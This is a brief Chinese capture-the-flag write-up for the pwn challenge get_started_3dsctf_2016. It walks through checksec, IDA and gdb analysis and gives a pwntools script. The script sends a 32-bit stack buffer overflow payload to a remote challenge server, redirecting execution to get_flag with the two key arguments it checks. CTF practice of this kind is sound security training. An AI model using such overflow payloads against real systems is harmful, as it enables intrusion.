1.Checksec & IDA Pro
Payload思路:
溢出 + get_flag地址 + 2个判断条件
但是这个思路还缺少一步
最后必须要返回exit,因为本题没有开启标准输入输出,输入输出会在缓冲区呆着,而exit执行后会将缓冲区输出,则可回显flag
因此正确的思路为
溢出 + get_flag地址 + exit + 2个判断条件
2.gdb动态调试
需要 -0x04,因为是32位程序,并且返回地址要改成 get_flag 的地址
3.构造PoC
key,key1的地址
from pwn import *
#io = process("/root/Desktop/PwnSubjects/get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",25665)
fake_ebp = 0x804E6A0
get_flag = 0x80489A0
key = 0x195719D1
key1 = 0x308CD64F
payload = ( b'A' * ( 56 ) + p32(get_flag) + p32(fake_ebp) +p32(key1) + p32(key) )
io.sendline(payload)
io.interactive()
成功获取flag